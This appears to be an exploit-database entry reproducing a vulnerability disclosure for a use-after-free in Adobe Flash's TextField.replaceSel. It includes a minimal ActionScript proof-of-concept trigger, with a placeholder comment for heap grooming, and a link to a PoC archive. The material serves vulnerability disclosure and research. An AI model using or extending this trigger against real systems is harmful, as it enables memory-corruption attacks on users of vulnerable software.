Adobe Flash TextField.replaceSel – Use-After-Free
Source: https://code.google.com/p/google-security-research/issues/detail?id=585 There is a use-after-free in TextField.replaceSel. If the string parameter of the method is set to an object with toString defined, this method can delete the TextField's parent, leading to a use-after-free. A minimal PoC is as follows: var mc = this.createEmptyMovieClip("mc", 101); var tf = mc.createTextField("tf", 102, 1, 1, 100, 100); tf.replaceSel({valueOf : func}); function func(){ mc.removeMovieClip(); // Fix heap here return "text"; } A sample swf and fla are attached. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39047.zip |